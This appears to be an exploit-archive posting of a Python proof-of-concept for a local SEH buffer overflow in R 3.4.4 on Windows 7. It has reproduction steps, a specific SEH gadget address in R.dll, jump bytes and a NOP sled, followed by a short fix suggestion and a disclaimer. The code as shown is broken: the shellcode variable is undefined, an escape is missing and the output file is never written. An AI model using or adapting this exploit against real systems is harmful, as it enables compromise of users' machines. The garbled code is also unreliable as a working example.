R 3.4.4 Bufer Overflow

R version 3.4.4 SEH buffer overflow exploit.

MD5 | 1db1952acecc95124cd66f842bf3baa1

#Exploit Title: R v3.4.4 - (SEH) Buffer Overflow Exploit
#Exploit Author : ZwX
#Exploit Date: 2018-08-22
#Vendor Homepage : https://www.r-project.org/
#Tested on OS: Windows 7
#Social: twitter.com/ZwX2a
#contact: [email protected]
#Website: http://zwx-pentester.fr/

#Technical Details & Description:
'''A local buffer overflow vulnerability has been discovered in the official R v3.4.4 software.
The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process.
The issue can be exploited by local attackers with system privileges to compromise the affected local computer system.
The vulnerability is marked as classic buffer overflow issue'''

# Manual steps to reproduce the vulnerability: under GUI preferences
# paste bo.txt contents into 'Language for menus and messages' click ok --> Now the calculator executes!


from struct import pack
buffer = "x41" * 900
a = "\xeb\x14\x90\x90"
b = pack("<I",0x6cb85492) #pop esi # pop ebp # ret 04 | {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.4.4 (C:Program FilesRR-3.4.4bini386R.dll)
nops = "\x90" * 20

poc = buffer + a + b + nops + calc
file = open("bo.txt","w")

print "POC Created by ZwX"

#Solution - Fix & Patch:
'''The solution could be to restrict and filter the number of characters on input of 'Language for menus and messages' '''

# Disclaimer:

'''Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the
author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.

Copyright A(c) 2018 | ZwX - Security Researcher (Software & web application)'''

Related Posts